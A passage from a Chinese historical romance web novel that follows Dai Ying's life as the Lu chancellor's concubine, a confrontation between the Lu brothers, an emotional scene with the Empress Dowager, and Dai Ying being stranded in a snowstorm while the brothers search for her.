水杏从旁认真听着,嘴里应是。
戴缨看了看四围,接着又道:“迎亲那日,这府中里里外外,上上下下,哪一样不需要精心置办,不说长远,起码那一日得应付过去,既是叫陆家看得过去,也长自家脸面不是?”
“正是这个话呢。”水杏答道。
“陆家大爷那是什么人,又是何等的身份,届时不知多少贵人受邀前来,一应客宴招待,还有新人的各项礼数,万不可出半点差池,多少双眼睛看着,这可不是玩笑。”
水杏接过话头:“这府里如今,表姑娘也见了,夫人卧床不起,没个能操持的,只能由妾身不知深浅的料理,这都还好说,只是……”
“姨娘是个能干人,如今我表兄的亲事,还得劳你操办,有什么但说无妨。”
“按说呢,容哥儿结亲,夫人做母亲的该露脸,受儿子儿媳一拜,只是夫人这个模样……”水杏说到这里叹了一声,“叫人难办呢。”
戴缨放下手里的茶盏,拿帕子拭了拭嘴,轻慢慢地说道:“结亲是喜事,更是两家体面攸关的大事,高堂之上,众宾瞩目,姑母如今病中憔悴,只怕于礼数虽全,于她身心却是耗损,不若让姑母安心静养,方是真正的周全与孝顺。”
接着又是恍然一声笑:“看我在这里多嘴多舌,这事哪由得了我一个小辈说了算,如何做到既全了礼数,又不失体统,端看主事之人如何权衡了。”
水杏听后笑着连连应是。
之后两人又说了些话,戴缨起身告辞。
夜里,水杏伺候谢山更衣时,将戴缨白天的话道了出来。
“她真这么说的?”谢山问道。
“这等话妾身哪敢假传,表姑娘如今是陆相的枕边人,她的话可不就代表陆相的话么。”
水杏替谢山更衣毕,又体贴地引他坐到外间,给他松乏肩颈,顺道睃谢山的面色。
容哥儿的婚庆事宜,里外皆由她操办,她是小妾,坐不得高堂却也不想戴万如这个瘫子捡现成。
那表姑娘从前被戴万如千方百计地折辱,心里必是恨极了她,那谢珍呢,本就是个没心没肺的,再加上戴万如差点把她送王家为妾,母女情已断。
谢容这个做儿子的在得知他离京乃是父母有意为之,一回来,表妹成了别家妾侍不说,又是免差遣,又是下牢狱,性子越发阴鸷。
谢山听说觉着在理。
“既是如此,那日主母之位空悬着罢。”
水杏立于谢山身后,眼中掩下笑意,应了一声“是”。
陆婉儿亲事临近时,本该年后回的陆铭川,提前回了……
冬日的清晨,空气冷冽,吹打在人的皮肤上,像极细的刀片,刺啦啦地生疼。
一府衙前,整列了一支几十来人的禁卫,队中停当了一辆阔大的马车。
此时,府衙走出几名武将扮相之人,其中一人对中间一年轻男子说道:“已近年关,陆都虞何不就留此地过年,也好让在下略尽地主之谊。”
中间那年轻男人,高长个头,身形匀健,皮肤是武将的蜜色,着一身银灰貂皮大氅,眼珠很黑。
这年轻男人正是离京外办,于三衙步军司任都虞候的陆铭川。
“多谢张大人盛情,只是家中有急,不得不着紧赶回。”陆铭川举拳道。
地方官员也不再相留,一路送至城门外,直至人远去后,方回。
行了一程,人马停下,陆铭川从马车下来,招手让副将牵一匹快马来。
“我先回,你押队缓行。”陆铭川说道。
副将劝道:“大人,这时节天寒地冻,打马赶路太过熬人,朔风能把人吞了……”
不及副将说完,陆铭川已翻身上马,拉起巾罩,护着口鼻,说道:“先行一步。”
陆铭川离京外办,因心里惦着京都的人和事,提前交了差遣,一路扬鞭,星夜往京都赶去。
终于,不知多少赶了多少个日夜,冻得双手生了疮,总算看到了京都城门……
第103章 她和大伯住一起
进城后,陆铭川没有先回陆府,而是径直去了绸缎庄,翻身下马,进了店中,见秦二立在柜台后。
“你们东家呢?”陆铭川将马鞭丢到一边,“快拿杯热茶来,让我暖暖。”
秦二看着眼前的陆铭川,一时间没回过神,半晌才开口:“陆三爷?”
陆铭川笑道:“掌柜的这是怎么了?见我跟见了鬼似的。”
秦二没说什么,赶紧让店伙计倒热茶来,并请人入内。
陆铭川捧起热茶,吹了吹白热的烟气,呷了两口,待身子回暖些,问道:“你们东家呢?”
秦二作为城南绸缎庄的掌柜,知道得比旁人多点,这陆二爷有段时日常来店里,一来店里就为寻他们东家,离京前还让传信。
明眼人一看,就知他对女东家有意。
陆铭川见秦二发怔,笑问道:“掌柜的怎么瞧着魂不守舍?”
秦二回转过来,说道:“三爷略坐坐,我前面还有事,先去一会儿。”
然而,不等他转身,陆铭川将他扯回:“我问你话呢,答了再走。”
“什……什么……”
陆铭川把杯里的茶又吹了吹,垂着眼,语调变慢:“你们东家呢?”
秦二知道这位爷并不好糊弄,于是说道:“东家……她在陆府……”
陆铭川先是一怔,后是一喜,以为戴缨重新客居于自家,想他离开时,许了娶她为妻,结果事情没着落,害得她离开。
他本欲再想办法同母亲斡旋,总归会有路子解决,谁知一份差遣下来,不得不离京外办。
临行前,他让人转了一封信于她,让她再等等,他一定兑现承诺。
眼下回来,听说她又回了自家,心里光顾着欢喜,没做多想,遂不再多问,离了店,翻身上马而去。
秦二跟到店外,望着陆铭川离开的背影,讷讷道:“麻烦大了……”
陆铭川一回府里,先去上房,得知陆老夫人去了后园,于是转身又去了自家母亲的桂兰院,曹老夫人也不在,说是去了城外寺庙祈福,还未归。
遂先回了自己的行鹿轩,一路风尘,打算先沐洗更衣,再去揽月居寻戴缨。
做下人的并不敢多言,只遵照吩咐办事,替主子备热水和换洗的衣物。
小陆崇一进院子听说自家父亲回了,跑进屋,见帷屏后人影晃动,于是进到里间,就见父亲正在丫鬟的伺候下更衣。
“爹爹几时回的?”陆崇绕着父亲转了一圈。
陆铭川心情很好地说道:“刚回,你做什么去了?”
“我刚从姐姐那里回来。”
更衣毕,丫鬟欲替陆铭川烘干湿发,他却等不及,只拿一根簪子将半湿半干的头发绾起,拉着儿子往外走。
“我们去哪儿?”陆崇仰头问道。
陆铭川抱起儿子:“跟爹再去一趟姐姐那里,好不好?”
小陆崇点头应下。
父子二人一路行去,走至一岔路口,当陆铭川待要左转时,陆崇一手环着父亲的颈,扬手指向另一边。
“错了,错了,走这边。”
陆铭川看了看左右,确定自己没走错,揽月居该是左转。
“臭小子,几时学会撒谎了,揽月居不往左走,难不成往右走?”
陆崇摇头道:“揽月居往左走,可一方居该往前走,父亲往一方居去。”
“我们先找你戴家姐姐,去揽月居。”陆铭川抱着儿子,抬脚往左转。
小陆崇蹬了蹬腿,“哎呀”一声:“姐姐不在揽月居,在一方居哩!”
陆铭川脚步猛地一顿,问道:“她在一方居?”
“是,姐姐住在一方居,现在和大伯住一起。”小陆崇自顾自地说道,“二姐姐还说,让我以后莫开口闭口叫姐姐,该叫姨娘,或是小婶婶……”
……
这个时节,天黑得早,陆铭章回来时,天已完全黑下来,行过整阔的前院,过了仪门,又走了一小程,穿过一道月洞门。
然而过了月洞门没走几步,脚步停了下来,长安错步上前,立于陆铭章身前
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,盯着暗处。
夜光和着不远处发毛的灯光,把周围密密匝匝的灌木映成黑黢黢的剪影。
长安看着隐于灌木旁的人影,笑道:“三爷几时回的?”
一声毕,那黑色的人影从树影中分离,一步一步上前,走到亮处,露出一副生冷的面目。
陆铭川没理长安,而是朝陆铭章走来。
陆铭章双手端在袖笼中,一脸默然地看着他靠近。
然而,就在陆铭川再上前一步时,长安的剑锋直指向前:“三爷留步,长安认人,长安的剑可不认人。”
习武之人的本能,对危险的感知,远比言语更快。
陆铭川似是没听到长安的威胁,继续上前,不及迈出下一步,只看到一个闪影掠过,他整个人就倒飞了出去,重重地砸在地上。
“三爷最好收一收你那气息,否则长安可不会让你靠近阿郎。”
陆铭川艰难地从地上爬起,立直了身,吐出一口血沫,擦了擦嘴角,笑一声,继续逼近。
长安将右足微微后撤,就要起势,陆铭章的声音平平响起:“退开,让他上前。”
长安先是一怔,应命敛下剑锋,退到一边,一双眼紧紧盯着陆铭川。
然而真当长安退下,陆铭川走了几步后,不再逼近,立在那里咬着腮帮,双拳紧握地垂在身侧。
陆铭章瞥了他一眼,折过步子,往一个方向行去,陆铭川跟了上去,两人一前一后行到书房。
院中人全部退下,唯有长安留于屋外。
陆铭章进屋后,褪下身上的鹤氅,露出里面的紫色朝服,从始至终没正眼看陆铭川。
陆铭川急了,上前一步质问:“她人呢?”
陆铭章走到矮几后,屈腿坐下,因门子在陆铭章进府时,便已提前往里报知,是以,下人们往屋中的小炉备了银炭,壶里烧了热水。
陆铭章拿手挨近壶身,隔着一点距离探了探温度,还不够烫,而后看向不远处陆铭川。
“杵在那做什么,过来。”
第104章 正妻之礼
陆铭川将自家兄长的举动看在眼里,眼睛落在小炉的茶壶上,他总觉着兄长刚才试水温的动作,是为了水滚沸后泼自己。
陆铭川仍立在那里不动,哪怕他一身拳脚,可对自家兄长就是有种天生的畏惧。
陆铭章见他不动,低下眼,再次开口语气已有些不耐烦:“要问话就过来坐下说,若是没话,就滚出去。”
陆铭川心道,理亏的不是自己,于是走到矮案后,盘腿坐下。
“大哥好手段,故意把我支离京都的罢?”
陆铭章并不回避,直言道:“是。”
“大哥不觉得此手段太过卑鄙么?”陆铭川因情绪不平,身子稍稍前倾质问道。
陆铭章倒没因陆铭川的不客气生恼,不去回答自己卑不卑鄙,反是问道:“我问你,你如实回答,就算我不调你离开,你打算怎么娶她过门,在我不阻拦的前提下。”
“这个不用大哥操心,小弟自有办法。”
陆铭章似是听到什么好笑的话,问:“你有办法?你做任何事从来都是我给你兜底,你有什么办法?”
“‘有办法’三字,是糊弄自己还是糊弄她?”陆铭章又问。
陆铭川沉吟片刻,说道:“我会说服我母亲。”
陆铭章顺着他的话“嗯”了一声,再问:“先不说能否说服你母亲,谢家夫人那里,你打算如何征得她同意?那妇人将她许给王庆为妾,你待如何?”
不用陆铭川回答,因为陆铭章知道陆铭川根本没想过那么远,继续道:“我来替你想办法,她姑母不同意,你可修书一封寄往平谷,给她父亲,征得她父亲的同意,这个方法如何?”
陆铭川点头:“想必兄长就是用这个办法得到人?”
“不错,我能用的办法,换你却不行。”
陆铭川一声冷笑:“为何?”
“因为在你向平谷修书前,我会先去一封信,告诉戴万昌,我要纳她为妾。”
正在此时,茶壶的水“咕噜咕噜”沸响,腾出白色的水汽,模糊了陆铭章的面目。
陆铭川的声音在这串水声咕噜中沉沉响起:“大哥说过不会阻拦。”
“我这不是阻拦,各凭本事罢了。”陆铭章说道。
陆铭川静了半晌不语,终于再次开口:“大哥问了我那么些话,我可否也问大哥一个问题?”
陆铭章将炉上的茶壶提起,给自己倒了一盏,很是坦然地面对陆铭川的问题。
“问来。”
“什么时候?大哥什么时候上心的?”
陆铭章没有直接回答这个话,而是说了一句:“我结识她比你早。”
陆铭川静着没有任何表情,突然捂脸笑出声:“大哥为何不直言‘上心’,却避重就轻说‘结识’?你只是相中了她,并未多么入心,对你而言,她不过是你算无遗策日常的一个小玩意,小弟说得可对?”
陆铭章不语,静听着。
“看来我说对了,适才大哥一番言辞,面面俱到,小弟自愧不如……然,这些举措于大哥而言不过动动嘴皮,并不耗费心力,换言之……”
陆铭川字斟句酌道,“那丫头于你而言,唾手可得,真让大哥如我一般,拼尽全力,只怕大哥对她也是可有可无的态度罢?”
陆铭章站起身,走到窗前,推开窗户,往外看去,呼出一口团雾:“拼尽全力?”
“川儿,你这人有一个大毛病,做任何事总差一口气,该刚硬时你含糊,该糊涂时,你又做出决绝样,譬如现在。”
陆铭章再道:“支撑偌大的府邸,靠的不是儿女情长,不是意气用事,而是严律和器局,家族如此,国家亦然,怎能只沉溺于庭前花草的温情。”
陆铭川终究不是陆铭章,即便心知兄长所言在理,却无法苟同。
“大哥心里装的是家国,儿女情长绊不住你的脚步。”
他缓缓起身,默然行至门前,静立片刻,在离去前留下一句:
“大哥从未觉得……自己霸道专治,活得像一把没有温度的铁尺么?”
待陆铭川走后,陆铭章又坐了好一会儿才起身,回了一方居。
戴缨见陆铭章回屋,往他脸上看了一眼,迎他坐下,厨房开始摆饭。
“我听人说,三爷回了?”戴缨状若无意地问了一句。
陆铭章点了点头:“是。”
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戴缨没再说什么,跟着拈筷用饭。
夜里,窗外寒风阵阵,屋中暖气生香。
鲛绡帐如水波荡开,漏出女子压抑的低吟。
戴缨不知陆铭章怎么了,她侍奉他不是一两夜,从未见他这样,水色长衫松倦,眼眶微红,额角紧绷,身上寻不着半点清穆,儒雅,她睁眼看他,他却将她的脸压向一侧。
“大人轻些,阿缨有些受不住。”戴缨咬了咬舌尖,盼着他快些完事。
陆铭章听到这一声细细的央求,遽然停下动作,才惊觉自己竟在毫不怜惜地对她发泄。
“阿缨……”陆铭章俯下身,将额抵着她的肩头,低低地唤了一声。
戴缨扭过头,问道:“大人怎么了?”
陆铭章翻身躺下,将戴缨拢在怀里,慢慢平下气息:“无事,睡罢。”
戴缨“嗯”了一声,从枕下取了一粒避子丸含入嘴中,闭上眼,两人相拥睡去。
这日一大早,晨雾未散,陆府有了动静,下人们急匆匆的行止间盈着笑意。
今日陆铭章不必去宫中上值,因为陆婉儿和谢容大婚。
黄昏时分,陆婉儿盛装打扮,穿着华丽的嫁衣,礼服以金线、彩丝绣着繁复的折枝花纹,头戴珠冠,在丫鬟的环护中出了闺房。
行于阶下向陆铭章并陆老夫人行过大礼。
陆铭章给予最后的训诫,让其在夫家,勤勉些,恭敬些,老夫人温言叮嘱,为**、为人媳的道理。
陆婉儿眼中含泪,一一记下,在下人的搀扶中往外间的正堂去了,她会在那里静候,等谢家来人将她接出陆家。
自此,她便从陆家女变为谢家媳,从这个门到那个门。
要说陆家除了陆铭章和陆老夫人以外,可能也就是戴缨内心的波动最大,兴许她内心的触动比陆铭章这个做父亲的还大。
原来……这便是正妻之礼,前世,在她卷于偏院时,陆婉儿这方是如此庄重盛大的景象。
戴缨看在眼里,嘴角带笑,然后低下头,笑着摇了摇头。
夕阳西斜,庭院中的树影拉得老长,远处终于传来隐隐的乐声与喧哗,新郎的迎亲队伍来了……
第105章 愿不愿跟他走
戴缨没去前面,也没随陆家女眷聚于偏室,而是去了后园,上了**阁。
看着热闹的迎亲队伍至,再看着他们远去,就这么坐至天暗,她缓缓站起身,回头看了一眼下界的华灯初上,下了阁楼。
陆婉儿的婚嫁办得有些仓促,不过总算顺利完成,这场婚礼后没多久,很快到了除夕夜,陆家设下丰富的家宴,族人再聚一堂,共度除夕。
陆铭章仍往宫中赴宴,府中的家宴自然就落下了。
家宴毕,戴缨回了一方居,因在席间饮了酒,脑子又晕又乏,坐于半榻,支着头,眯了一会儿,醒来时发现陆铭章仍未归,朝外叫了归雁,问了时辰,已是夜深。
“备热水罢。”
“娘子不等大人了?”归雁问道。
戴缨摇了摇头。
归雁出了屋室,让院中下人们往沐间送水。
皇宫……
宫灯高挂,华廷富靡,歌舞不绝,廷间百官列坐于案后,与帝王同庆新年。
身为太后的赵映安先行离席,百官起身恭送,没过一会儿,大宫监荣禄走到陆铭章身侧,不知低声说了什么,陆铭章点了点头。
待到宫宴结束,百官散去,陆铭章在宫人的引领下往皇宫内院行去。
宫人们提灯在前引路,陆铭章行于后,他的周围环护着殿前卫,这些殿前卫属三衙之一,亦是陆铭章的兵。
相较于皇命,他们实际听令于陆铭章。
只是陆铭章不愿做到那个份上,否则,禁廷自如来去对他来说再容易不过。
先时是整阔的宫道,接着转过几道岔口,到了一殿前,禁卫背身,侍立看守。
“大人请移步。”荣禄躬身道。
陆铭章颔首,撩起衣摆,拾级而上。
赵映安早已于殿内沐身更衣,专候陆铭章到来。
“我想你在席间定是没吃好,特意让膳房另置了酒菜。”
陆铭章垂下眼,并不出声。
赵映安笑着起身,走到陆铭章身侧,就要执起他的手,却被陆铭章往旁边一让。
“太后召臣前来,臣不得不来,若是无事,微臣便退下了。”
说罢就要转身离开。
赵映安几步上前,丢开身份,不顾不管地从后抱住他。
“晏清,我都这样低姿态了,你就不能留下来陪陪我?”接着,明亮的丽眸滚下泪珠,濡湿了陆铭章后背的衣衫。
陆铭章转过身,抬起手,拈住赵映安的下巴,低下眼,从她的脸上一寸一寸睃过。
那指尖的温度让赵映安身体欣喜地颤栗,微微仰着脖,看向对面的男子。
她同他本有婚约,这婚约自小就定下了,赵家同陆家从前联过亲,两家人一直有往来。
他二人自小就玩在一处,小小的年纪,也没有男女之防,那会儿伙伴们玩过家家,组个小小的家,他当爹爹,她当娘。
他们还会假模假样地学种菜、种瓜果。
小小的他问她:“映安,你喜欢吃什么瓜果?”
她咯咯笑道:“晏哥儿,我喜欢吃葡萄,但我不喜欢葡萄籽,以后你给我剔了葡萄籽,我只吃肉,好不好?”
他当时说了什么,他说:“那可难伺候,我还不会种葡萄,等我把葡萄种起来,再说罢。”
再大一些后,知道事了,她知道自己日后要嫁他的,本该是这样,不出几年,待她长成,就嫁他为妻。
然而,在他十多岁时,被陆家逐出家门,离京前,他来找过她,问她愿不愿跟他一起走。
她怔住了,立于阶上,看着阶下脸色灰白的他,不知是没休息好还是怎的,他的眼下浮着青痕。
看上去十分不好。
一个十岁出头的小少年,问一个与他同龄的少女,愿不愿一同流浪,答案显而易见。
再后来,过了几年,他重归陆家,而她已同别人定了亲。
赵映安回过神来,就要往陆铭章怀里靠去,然而他一手钳住她的下巴,将她推离。<
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br>这一时,她才看清,他的眼波没有丝毫起伏,只有殿中灯火映照的一点流光。
陆铭章收回手,退出一步,收起恭敛姿态,脸上透出不耐,问道:“我为何要留下来陪你?”
接着,又道:“映安……”
赵映安因他这一声称呼,眼中又回了一点光亮,然而却听他说道。
“你如今身为大衍太后,就不再单单是一个柔弱女子,深宫高墙之内,不该存半分妄念,更不该囿于往日私情,当摒弃女儿之态,担起母仪天下的重任……”
听了陆铭章大公无私的言辞,赵映安笑出了声,惨惨的笑动,眼珠滚落,湿满脸颊。
“摒弃女儿之态?”
赵映安拿手将脸上的泪珠拭净,眼睛比刚才更加清亮,但听她说道:“我若不呢,我若非要强你所难呢,今夜我偏不放你走,你待如何?”
说罢,似是想到什么,“还是说……舍不得你新纳的小妾独守空房?”
陆铭章压下眼皮,复缓缓抬眼,直直看向对面,往前走了一步,语气逼人:“她不过就是一侍妾,从前你做的事我不同你计较,你若再执意相逼……”
陆铭章把声音压得更低,“大衍不能没有皇帝,不是不能没有太后,届时,休怪某以微末之躯拼个玉石俱焚。”
说罢,转身离开了。
赵映安僵在那里,差点站立不住,下唇在不知觉中被咬出了血,阿晏,无论你言语再绝情,你心里终究放不下我,你抹不去,永远也抹不去……
陆铭章回府时,已是夜深露重,戴缨先时等了一会儿,后来实在耐不住,便先睡。
好在他在这方面从不要求她,不止一次说,若他晚归,她可先行歇息。
她的睡眠一向浅,同陆铭章共榻后,有些改善,再加上今日饮了酒,便睡得沉了些。
等身后贴上一具温热带着潮气的身体时,才朦胧转醒,回身去看。
“大人几时回的……”
第106章 失落风雪夜
陆铭章拿下巴蹭了蹭戴缨的肩窝,说道:“回了有一会儿,怕惊醒你,便在侧屋沐了身才过来。”说着问道,“今儿喝酒了?”
戴缨转过身,埋在陆铭章的怀里“唔”了一声:“都喝,我便陪着喝了几盅,这会儿头还闷呢。”
陆铭章稍稍欠起身:“我在宫宴上未吃好,你再陪我吃些?”
戴缨很想点头,可她实在是有些困了,便闭着眼没应声,陆铭章见她困得厉害,不再多说什么,跟着一起睡去。
过年期间接连下了几日大雪,城外的雪甚至没到了小腿,城中路面清过,可行人,行车。
因着大雪阻路,秦家兄弟没回平谷,留于京中,戴缨叫他二人过两日把铺子的伙计们聚在一起,也不去酒楼,专请灶婆子,就在店中置办几桌席面。
“陈左还没找你么?”戴缨问秦二。
秦二摇了摇头,仍是那句话:“不曾来过,我让人上门找过,敲了门,也无人应。”
戴缨点了点头,叫秦二去了。
待秦二走后,归雁开口道:“娘子,阿左哥不会有事罢,要不婢子明日走一趟陈家?”
戴缨点了点头:“明日我们去一趟陈家。”
她也有些放心不下,还有一份愧疚,陈左替绸缎庄出头才惹得麻烦。
归雁应下。
次日,归雁让人备下马车,主仆二人乘着马车去了陈家,路面积雪太厚,到了城外,马车便有些不好走,颠簸倒还在其次,主要是车轮打滑。
到了村口,主仆二人下了马车,两个小厮随在身后,往陈家行去。
归雁上前敲门,没人应,又大力拍响,仍是无人应。
“娘子,这院里没人。”
戴缨看了一眼旁边几户,说道:“去问问。”
归雁便走到旁边一户,敲响房门,没过一会儿,院里传来响动,伴着人声:“来啦——”
是一个妇人开的门,看到门外几人时,呆了呆,最后目光定在戴缨身上。
“哟——这不是华四锦的女东家么,快,快,进来坐。”
妇人一面说,一面把院门大开,迎戴缨等人进院。
“嫂子认得我?”戴缨往院中走去。
妇人道:“你来过几回,上次陈左被捉进去那回,你来看鸢娘,我就在一旁。”说到这里妇人低叹了一声,又扬起语调,往门里叫了一声,“当家的,家里来客了。”
及至这会儿,戴缨才发现,妇人是个跛脚。
屋里出来一个粗布麻衣的中年汉子,看了戴缨等人,客气地笑了笑,然后转身进了屋,待戴缨等人入到堂屋,那汉子用盘子盛了些零嘴出来。
这时有两个小儿女跑出来,离戴缨远远的,脸上冻得红红的,睁着明亮的眼看着戴缨。
戴缨笑问道:“这是嫂家子的?”
“是呢。”妇人笑道,“大的五岁,小的那个三岁。”
接着,走到自家小儿女身边,推了推,快去叫人。
两个小儿扭捏不前,只是微微低着头,拿眼好奇地瞅着戴缨,先是忍不住看她的脸,然后又打量她毛茸茸的衣裳。
戴缨从归雁手里接过荷包,取出两颗金珠,说道:“来。”
两个小儿仍不前,可又想看看那位美娘子手里拿得什么,大一点的胆子大些,近到跟前,戴缨将金珠放到小儿手里。
“拿去玩。”戴缨说道。
妇人见了,惊得忙上前推让:“不成,不成,哪里使得。”
戴缨止住妇人的话头,再让小的那个上前,同样塞了一颗金珠。
“给他们的礼,嫂子就别推了。”
妇人连连道谢,这位漂亮的女东家看上去很喜欢孩子,于是让孩子们给她拜了拜,之后汉子带小儿出了院子。
“女东家是来问陈左兄弟的罢?”妇人开口道。
戴缨点了点头:“自打鸢娘走后,我们就没再见过他,有些放心不下,特来看看,他如今不住这里了?”
妇人叹了一声:“别说你们,就是我们这些邻舍也见不着他。”停了一下,又道,“没走,人还住在这儿。”
“那他……”戴缨好奇,人还住在这儿,却见不到人。
“鸢娘走后,他总不理人,村人同他打招呼,问他去哪里,他也不回话,天不亮就出门,常常深夜才回,一整夜不回也是有的。”妇人说道,“后来有一次我当家的无意撞见了,他原是去了后山,在鸢娘的墓边修了个草屋,常住在那哩。”
这样冷的天,一个草屋能抵什么。
妇人引着戴缨等人往后山行去,走到山口,妇人往里指:“我这腿脚进不去,娘子饶恕,只需沿着这条路往里去,就可看到了。”
戴缨点了点头,说是后山,只是相对村落的位置而言,并不是山路,但是有积雪,越往里去积雪越厚。
“娘子,还是别再往前了,叫个小厮进去把人叫出来。”归雁搀扶着戴缨说道。
戴缨展眼往前探看,点了点头。
于是,遣了一个小厮往里寻人,戴缨和归雁还有另一个小厮退回到山口。
天色阴沉,虽是下午,却像要入夜一般。
终于,在盼等中,山道出现两个人影,一前一后行来。
前面那人正是派出去的小厮,后面跟着的那人,面目黝黑,方面阔额,不是陈左却又是谁。
等人走近了,戴缨在陈左面上睃了一眼,倒还好,不像她以为的那样没个人形。
戴缨没说别的,只是简单地问了句:“后日店里摆几桌酒席,秦掌事聚了众伙计,你去不去?”
说着,也不等陈左答话,在归雁的搀扶中往回村的路行去。
陈左紧跟在后面。
戴缨走到村口,马车停在那里,此时天已完全暗了下来,她不能再多待,就在踩凳上马车时,陈左的声音响起。
“我去。”
戴缨进到车里,一个“好”字隔帘传来。
马车启行,缓缓往村外驶去。
天色越来越暗,风很大,刮得车身都在晃荡似的,归雁在车里替戴缨换上干爽的鞋袜,又拿出薄衾护住她的下半身。
一阵风来,车帘被风刮起,几点冰星飘打到脸上,戴缨伸手摸了摸,揭起车帘往外看去,先是扑来寒气,刮着皮肉,才只午后,天却变得如同夜里,四野茫茫,人烟寥寥。
小厮的声音从帘外传来:“姨娘,又开始落雪了。”
归雁将戴缨身上的薄衾拉了拉:“娘子闭眼歇歇,有婢子守着,一会儿就到了。”
戴缨点了点头,闭上眼。
不知行了多大会儿,马车遽停,猝不及防之下,戴缨的身子往前一倾,险些摔出去,归雁撩起车帘,往外问询。
“发生了何事?!”
第107章 姨娘还未归来
小厮答道:“前面聚了些人,不知怎的,姨娘和雁姑娘坐坐,小的前去探看。”
过了一会儿,那小厮回来,说话声夹着呼呼的风声:“姨娘,前面石板桥断了,无法通行,想是天气太过严寒,冻裂了。”
他们来时经过的石桥,来时还好好的,想不到塌陷了。
戴缨揭开窗帘,往前探看一眼,桥边滞了许多同样赶路之人。
“没有其他的路了?”戴缨问道。
“小的刚才问过,这是最近的回城路,若是绕道而行,有好远,等赶到城下,怕是城门都下钥了。”
这可难办,不绕行,过不了河,绕行的话,又进不了城。
石板桥塌陷,一时半会儿修不好,这条路指定不成了,只能绕行,等到了城门口再说罢。
“绕行。”戴缨吩咐道。
小厮应下,坐上车辕,马车再次启行。
谁知雪越下越大,两个小厮眼睛被糊得看不清明,身上的蓑衣没一会儿积满了雪。
……
七月叫下人们挂上灯笼,然后撑伞走到院前,见小厮跑来,不等他到跟前,便扬声问:“可有消息了?”
小厮摇手道:“没,还未回。”
这一次,七月盼等之人不是陆铭章,而是戴缨,白日她带着小厮乘车出行,这会儿仍未归。
“再去,再去,人回了报于我。”七月说道。
那小厮一个折身,又往府外跑去。
陆铭章回府时已是掌灯时分,轿舆直接抬到一方居的阶下。
长安从旁撑伞,引陆铭章下轿,刚站定,正欲往屋里去,七月从院外行来,因走得太急,脚下一滑,身子晃了晃,差点跌跤。
“爷,姨娘还未归来。”七月的声音透着惶急。
陆铭章眉头一皱:“出门前有无说去哪里?”
七月摇头道:“带了两个小厮和归雁一齐出门。”
陆铭章走回屋室,坐到桌边,冷沉着。
七月进到屋里,见家主不慌不忙地倒了一杯茶水,刚刚端起又放下,然后站起身再次走到门首下,听他吩咐道:“派人去绸缎庄,把掌事的找来。”
秦家兄弟住店里,一个住城东,一个住城南。
天气冷,外面下着大雪,秦二睡前给自己筛了一壶酒,吃了两盅,正待睡下,楼下响起“啪啪”的敲门声。
他不待理会,不管什么人,不管什么事,这个时候,他决计不会披衣下楼开门。
就是天大的事也等明日再说,心里这么想着,就要倒头睡下,谁知刚沾枕头,拍门声再次响起,震得楼板都在颤抖。
他若再不下去开门,下一刻店门都要被破开似的。
“来啦——来啦——”秦二披了大袄,提上夹棉裤,下了楼,在楼道噔噔声中,敲门声仍在响着。
“大夜里,不叫人好睡,待我看看哪个龟儿子半夜敲……”
秦二嘴里骂骂咧咧,走到店门前,抽下门闩,呼啦一下将门打开。
刚要张口骂,被风灌了一嘴,也幸亏有这一兜风,叫他闭嘴的同时看清了敲门之人。
一个身着银甲的武将,这一身泛着寒光的甲胄在都城没人不认识,是禁卫。
店门外的火光把周围的雪映成了红色,像要烧着一般。
这些威整的禁军中,一人披着皮**斗篷乘于马上,秦二立马认出了那张隐于兜帽下的脸,那位陆大人,而他身边的马上是陆家三爷,陆铭川。
这二位爷身上已落了薄薄一层雪沫。
陆铭章原本吩咐,让人将秦二带到他面前问话,之后想了想,还是他亲自走一趟更省时。
秦二还在怔愣时,被禁卫推了一把:“去,到大人跟前回话。”
回过神来,秦二忙不迭地走到陆家大爷的马下,他才一靠近,就听声音压下来。
“你们东家白日可有来过?”陆铭章问道。
秦二赶紧回道:“回大人的话,东家今日不曾来过店里。”
“昨日她传知你到陆府,说了什么?”
戴缨的日常很简单,不是在府里就是在绸缎庄,而她
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的主要事体也来自这两方,要么忙陆府事宜,要么料理绸缎庄的琐碎。
昨日秦二到府里来过一趟,所以陆铭章径直问出关要。
秦二听后,一五一十地回道:“东家传小人前去,问陈左有无来过店里,小人回说‘没有’,而后东家又说让小人过两日召集店里的伙计,说是过年了,叫大家伙在店里聚一聚,摆几桌席面,热闹热闹。”
陆铭章听后沉吟片刻,转头对陆铭川道:“速速带人走一趟陈家村。”
陆铭川应诺,引了一彪人马,扬鞭往城外奔去。
长安勒马上前,说道:“雪越发大了,人已派了出去,阿郎回府等消息罢。”
一语毕,见家主稍稍沉吟一瞬,一声驾呵,扬鞭拍马往城外奔去。
夜里的风雪越来越大,沙粒一样打在脸上,陆铭章没有缓速,好几次马蹄打滑,差点滚**鞍,斗篷的兜帽早已滑到脑后,除了兜风,没别的作用。
陆铭川带人先一步到了断桥边,见自家兄长随后赶到,驱马上前,说道:“桥断了,想是人阻在了那边。”
陆铭章翻身下马,接过禁卫手里的火把,火在风中跳跃,被风力拉扯得忽明忽灭,他踏着没胫的雪,往前走几步,看向河那头,黑浑中,影影绰绰不可名状。
“除了这条路,可有别的路?”
此时一名副将指向另一侧:“回大人的话,这边有条野路,可绕至彼边,路远,不常通人。”
陆铭章擎着火把吩咐道:“带一支人马沿路探看。”
不及副将领命,一个人影已拍马而去,众人去看,正是陆相之弟,在步军司任都虞候的陆铭川。
副将随后带人跟上。
长安看了一眼家主,眼中尽是担忧:“阿郎,你的身体……要不还是先回……”
对于习武之人,功力相当于“卫气”,而散功是将一座精心搭建的高楼强行轰塌,阿郎儿时的散功之举,因着年纪小,不至于元气大伤,却让他的身体比常人更加畏寒……
第108章 滚烫的深情
这样的风雪天,他如何顶得住。
陆铭章不发一言,仍是纵马往前,远远地跟着前方探看的军兵。
……
戴缨本打算让小厮绕道前行,路远没什么,只要能赶赴城门,呈陆府的名帖,进城不难。
然而人算不如天算,雪势太大,俨有下一整夜的趋势,再加上这条道路不常通人,积雪甚厚,致使车轮陷进雪坑,无法前行。
戴缨缩在毛绒大衣里,朝指尖哈着热气,咽了一口冰凉的津唾,哆嗦道:“让他二人进来避一避。”
归雁应是,把大衣拢紧,兜上绒帽,揭开车帘,朝外叫了一声:“两位院公在哪里?”
朔风呼呼刮着,夜光融着雪光,可看清周围的大概。
马车的半边轮子歪陷,前面的雪地像是新鲜的豆腐,好看,不好走。
旁边的灌木比人还高,筛减了风雪。
灌木的黑影下随风传来人声,断断续续:“姐姐快进车里去,我们避守在杂丛里。”
“姨娘叫你们到车里避风雪。”只说了这么两句,归雁已灌了满口风。
“不可,不可,小的们守在这里就好,快些掩住车帘。”
